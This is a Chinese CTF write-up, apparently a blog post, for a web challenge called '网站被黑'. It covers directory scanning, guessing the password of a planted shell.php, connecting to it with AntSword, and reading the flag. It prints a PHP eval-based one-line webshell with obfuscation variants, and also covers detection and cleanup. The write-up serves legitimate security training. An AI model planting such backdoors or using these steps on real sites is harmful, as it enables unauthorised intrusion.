网站被黑CTF题解:从目录扫描到WebShell拿Flag全流程

发布时间:2026/10/11 13:03:23
网站被黑CTF题解:从目录扫描到WebShell拿Flag全流程
最近刷题的时候又把“网站被黑”这道CTF Web题拿出来过了一遍。它的难度不高但套路非常典型能把目录扫描、WebShell连接、后门利用、Flag获取这一整套流程完整串起来。很多刚入门的朋友卡在这道题上不是因为不会用工具而是不知道题目到底想让你干嘛。这篇文章我就用解题复盘的方式把每一步拆开讲清楚包括我踩过的坑、排查思路和几个容易被忽略的细节。如果你正在刷Web题或者准备系统入门Web安全这篇值得花十分钟细看。1. 开局先摸清题目的真实意图1.1 题目环境长什么样打开题目给的地址首先看到一个看起来非常普通的页面没有登录框、没有参数输入点也没有明显的SQL注入或XSS特征。我第一反应是直接查看页面源码结果源码干净得吓人既没有注释信息也没有隐藏目录链接。再看HTTP响应头服务器类型、版本信息都被抹掉了robots.txt访问也是404。这种时候新手最容易卡住给了一个网页但不知道漏洞在哪。实际上这道题的名字已经给了最强提示——网站被黑。它想考察的不是某一个具体的Web漏洞而是“网站被黑后攻击者会留下什么”。攻击者渗透进一台服务器后最常见的动作就是上传一个WebShell也就是常说的网站后门。所以我们第一步要做的不是找漏洞而是找后门。1.2 信息收集三件套遇到没有明显交互点的Web题我一般会按顺序做三件事先看页面源码和响应头确认没有直接泄露的信息。尝试常见路径比如/robots.txt、/index.php、/admin、/backup.zip。再用目录扫描工具跑一遍把隐藏文件全部翻出来。这道题前两步基本没有收获关键全在第三步。目录扫描属于Web安全里最基础但也最不能跳过的一步很多所谓“隐藏的后门”就藏在扫描结果里。如果你连目录扫描都不做这道题基本没法继续。1.3 为什么这道题叫“网站被黑”我做题的时候一直有个习惯把题目名当成第一个提示。“网站被黑”这个描述其实就是在告诉你——这个网站的管理者可能已经失去控制权了你现在的任务就是找到攻击者留下的痕迹。放到真实攻防场景里这就相当于一次轻量级的入侵痕迹排查。题目目标不是让你打进去而是让你扮演一个“后来者”顺着攻击者的路走一遍理解他留下来的东西是什么、怎么用、怎么找。想通这一点后思路就清晰了我不需要去找什么复杂的洞只需要找到攻击者留下的某个“后门文件”然后想办法把它利用起来读取服务器上的Flag文件。2. 目录扫描后门文件藏在哪里2.1 扫描工具选型目录扫描工具有不少我在这道题里用的是dirsearch因为它在Kali里能用、在Windows下也能跑字典相对全速度也快。命令很简单python dirsearch.py -u http://目标地址 -e php,html,txt -t 20这里-e指定扩展名因为WebShell一般不会是html最常见的还是php、jsp、aspx优先扫php最稳。-t是线程数入门阶段用默认的20就行太快反而容易被靶机判定为恶意扫描导致IP被临时封禁。如果你习惯Windows下的图形化工具用御剑等同类工具效果也一样核心逻辑都是拿字典去请求路径然后根据HTTP状态码判断路径是否存在。2.2 扫描结果里藏着什么扫描结果很快就出来了状态码列表里大部分是404但有一个文件特别扎眼/shell.phpHTTP状态码是200。这几乎就是明摆着告诉你后门在这里。文件名直接叫shell一点没藏着典型的CTF风格。真实环境里攻击者会取一些迷惑性强的名字比如wp-load.php、1.php、cache.php但CTF题目为了降低难度往往保留明显的语义。我见到shell.php之后没有急着去访问先继续跑了一会儿扫描确认没有其他可疑文件。为什么这么谨慎因为有些题目会在不同的路径放多个文件Flag可能不在第一个后门里。多扫一下避免漏掉关键信息。确认没有其他文件后我才在浏览器里打开了http://目标地址/shell.php。2.3 浏览器打开后发生了什么浏览器访问这个文件返回了一个非常简洁的页面只要求输入密码没有任何提示。这时候有两个思路可以走第一个思路是直接猜密码。攻击者设置WebShell密码时常用密码就那么几个比如hack、admin、cmd、1如果走运一次就蒙对了。第二个思路是交给工具去爆破。用Burp Suite的Intruder模块把密码参数字典跑一遍根据响应长度判断成功与否。这两个思路本质上是一样的都是在猜密码。区别只在于工具化程度高不高。我一开始选择手动尝试输入hack结果直接通过了。这个密码看起来平平无奇但确实是这道题公认的默认口令。如果你的字典里没有hack这道题可能又要卡一会儿。3. 连接WebShell拿到Flag的关键一步3.1 密码输入后的页面变化在网页上输入正确的密码后页面并没有弹出什么FLAG而是返回了一段内容看起来像是执行了命令后的结果实际上这相当于一个粗糙的WebShell界面。但网页版WebShell用起来非常不顺手执行命令格式容易错查看文件目录更是麻烦。所以更推荐的方式是用专业的WebShell管理工具来连接。这里我会明确一句所有WebShell管理工具都只能用在授权环境下CTF题目本身就是授权靶场完全没有问题。工具不是武器使用时人才是变量。如果你是学习者请牢牢守住这个边界。3.2 用蚁剑连接的完整步骤我使用比较多的是蚁剑。操作步骤很简单打开蚁剑点击“添加数据”。URL栏填入http://目标地址/shell.php。连接密码填写刚才破解出来的hack。连接方式选择POST因为一句话木马是用POST接收参数的。点击“测试连接”如果返回“连接成功”就可以进入文件管理界面。蚁剑会自动识别后门类型并用一段随机的、经过编码的请求去验证连通性。连接成功后你会看到一个文件管理面板左边是目录树右边是文件列表基本上就是一个轻量级的可视化WebShell。3.3 Flag到底在哪里进入文件管理后我做的第一步是看当前目录下的所有文件。Flag通常不会放在特别深的地方一般就在网站根目录或者往上一级、上两级目录里。我在当前目录看到一个没有扩展名的文件或者直接命名为flag.txt打开后就能看到类似flag{xxx}的字符串。但我也遇到过变体题目Flag藏在环境变量里、藏在数据库里、甚至藏在某些服务的配置文件中。所以如果根目录没找到建议按这个顺序排查使用蚁剑的“终端”功能执行ls -la或dir查看当前路径。用终端执行find / -name *flag*全盘搜索带flag关键词的文件。查看/tmp、/var/www/html、/home等常见目录。这道题还没到需要全盘搜索的难度文件就在眼前。但养成这个排查思路对后面的复杂题目很有帮助。3.4 没有蚁剑怎么办如果你手边没有WebShell管理工具也不想下载可以只用Burp Suite的Repeater模块直接发送POST请求一样能拿到Flag。比如用Python写一个几行的脚本import requests url http://目标地址/shell.php data {pass: hack} response requests.post(url, datadata) print(response.text)这段代码的本质是把密码字段提交给后门如果密码正确后门就会执行你传入的代码。你可以在data里加入“执行系统命令”的Payload但这已经涉及命令执行的具体构造了这里就不展开。推荐用蚁剑不只是图方便更重要的是它可以让你更直观地看到文件系统的结构有助于理解后门的能力边界。4. 一句话木马到底是个什么东西4.1 核心代码拆解这道题里的WebShell本质上就是一句话木马。最常见的PHP版本长这样?php eval($_POST[pass]); ?拆开来看?php ?是PHP代码标记抑制错误输出eval()是PHP中把字符串当作代码执行的函数$_POST[pass]表示从POST请求中读取名为pass的字段。整体意思就是把你POST过来的内容直接当成PHP代码来执行。这里有几个关键点需要理解eval是一个极其危险的函数没有任何过滤和限制开发者用它会带来严重风险。符号会让错误信息不输出攻击者利用这一点避免暴露后门存在。$_POST接收参数的方式决定了这个木马只能用POST方式连接你用GET请求传参是无效的。所以蚁剑连接时必须把请求方式选成POST密码字段也要填pass密码值就是pass不对连接密码填pass而实际提交的内容是passhack这样的键值对。这里有个容易混淆的点一句话木马的连接密码是pass这个参数名还是hack这一个具体值这道题里木马是通过$_POST[pass]接收连接工具里填写的密码就是参数名pass对应的参数值直接用hack作为密码去匹配。实际上不管脚本传回什么内容它都会被写入pass字段并交给eval执行。理解这一点后你就明白了为什么爆破密码实际上是在爆破“POST参数的值”。4.2 为什么密码是hack很多朋友会好奇密码为什么是hack是不是随手写的其实这类简单题目的默认密码通常来源于常见的安全教程或字典。hack、admin、root、cmd都是高频弱口令。出题人把密码设置为hack相当于在默认字典里给你留了一个提示。这也侧面说明了一个道理很多时候攻破一个系统靠的不是多复杂的技术而是对方用了弱口令。4.3 后门文件常见的伪装变化理解了一句话木马的基本原理你就能看懂它的一百种变体。比如把eval替换成assert用assert($_POST[pass]);实现类似效果。把$_POST[pass]替换成$_REQUEST[cmd]让GET和POST都能传参。使用base64_decode函数解码后再执行规避杀软特征码。用拼接、注释、换行等方式打乱代码特征增加静态查杀的难度。但万变不离其宗核心只有一个它接受你的输入并把它当成代码执行。这个核心能力就是WebShell最危险的地方。5. 常见问题与排坑实录5.1 目录扫描什么都没有扫到这是最常遇到的情况。解决办法很简单先确认目标地址是否写完整比如有没有加http://路径是否带上了端口。其次扩大字典。dirsearch自带的字典不够用时可以加载更大的字典python dirsearch.py -u http://目标地址 -e php -w 大字典.txt还有一个小细节很多靶机会对高频扫描限流如果你的线程开太高返回的全是超时或503反而什么都扫不到。遇到这种情况把线程降到10以下加个延迟参数再扫。5.2 蚁剑连接失败连接失败的原因我整理成一张速查表检查项可能问题解决办法URL是否正确拼写错误、少端口复制浏览器地址栏的完整URL密码是否正确单词不对、大小写不一致用Burp爆破确认密码请求方式误选GET改为POST代理/防火墙本机代理拦截关闭系统代理后再试编码问题密码带空格去掉多余空格检查编辑器自动换行目标服务后门被删或不可访问重新扫描确认文件状态我那次连接失败的原因是密码栏不小心多加了一个空格。看起来是小事但排查了十分钟才反应过来。所以这里特别提醒蚁剑里填密码时不要用浏览器复制粘贴带空格的字段尽量手动输入一次。5.3 拿到Flag后提交却被判错这个坑也常见。题目要求的Flag格式通常是flag{...}但有些靶场会给成其他格式比如ctf{...}或者Bugku{...}此处泛指非特定平台。如果你读到的文件中包含了额外内容比如换行符、空格先清理一下再提交。最快的方法是用记事本打开Flag文件关掉自动换行全选复制尽量只提交括号内的核心内容。如果还是不对可以试试把整个文件内容原样提交有时候出题人会故意在Flag里加点干扰字符。5.4 执行命令始终没有回显蚁剑的终端里执行ls或dir没输出这种情况通常有两个原因。一是PHP环境禁用了部分函数比如system、exec被ban。二是当前用户权限受限命令执行失败但没有显式报错。解决思路是尝试多个函数或者查看当前用户权限。CTF题里一般不会做这种限制但如果遇到别慌换一种马或者换一个执行函数就行。6. 从题目延伸开来的安全思考6.1 攻击者是怎么把Shell放上去的“网站被黑”这道题直接把Shell放在根目录省略了攻击过程。但真实攻击场景中Shell的落地通常伴随着一个入口漏洞。最常见的入口有三种文件上传漏洞比如头像上传、附件上传点没有限制文件类型攻击者传了一个PHP后缀的文件。命令执行漏洞通过命令拼接把WebShell写入目录。已知组件漏洞比如某个CMS插件出了RCE漏洞攻击者批量扫描直接拿Shell。理解这一点对防守方来说很有价值。如果你是一名运维或者开发看到“网站被黑”这样的标题第一反应应该是检查所有被篡改的文件和时间线而不是只删掉一个Shell就完事。6.2 如何发现并清理WebShell提供几个实用的排查方向方法操作说明查异常文件按修改时间排序找到最近新增或修改的PHP文件查代码特征搜索eval、assert、base64_decode、$_POST[$_GET等关键函数查日志分析访问日志关注POST请求特别密集的路径用工具扫描使用WebShell查杀工具比如webshell scanner查权限配置确认上传目录是否关闭了脚本执行权限对于这个题目训练的场景最简单直观的方式就是访问日志里总会出现对shell.php的POST请求后门不可能是凭空出现的它一定伴随着某次上传或写入操作。顺着这个思路去排查往往能还原攻击者的完整路径。6.3 这道题对Web安全入门的意义我一直觉得这道题适合作为Web安全入门的“清关题”。它不仅锻炼了信息收集、目录扫描、工具使用的基础功还强迫你理解WebShell这个核心概念。很多新手上来就学SQL注入、学XSS却忘了最基础的“文件落地”和“命令执行”才是攻击链里的关键环节。做完“网站被黑”你对后门的整个生命周期会有更立体的认知怎么发现、怎么进入、怎么利用、怎么清理。后续还可以继续挑战它的扩展版本比如找一找加了混淆的WebShell、通过日志分析还原攻击过程、修复一个文件上传点再尝试绕过。每多做一个环节你对Web安全的理解都会更深一层。6.4 再说两句关于授权的边界做这道题的人几乎都是CTF选手或者安全学习者但还是要提一嘴任何目录扫描、WebShell连接、弱口令爆破只能在你自己拥有授权或者靶场环境里操作。靶场的价值在于创造一个安全、合法的训练场。把这些技能迁移到未经授权的目标上性质就变了这一点希望大家务必守住。我个人做完这道题后最大的体会是“思路比工具重要”。目录扫描谁都会跑蚁剑谁都会连但能通过题目名判断出核心考点是后门才是真正的解题能力。这里再分享一个小技巧如果你也在刷类似题目发现某个隐藏文件返回200但页面内容很简单可以优先用Burp或蚁剑直接发一次POST请求试试默认弱口令比单靠眼睛看源码效率高得多。“网站被黑”只是一个起点后面的WebShell查杀、日志分析、上传绕过每一个方向都可能让你多踩几个坑也多长一些经验。希望这篇Writeup能帮你少走点弯路。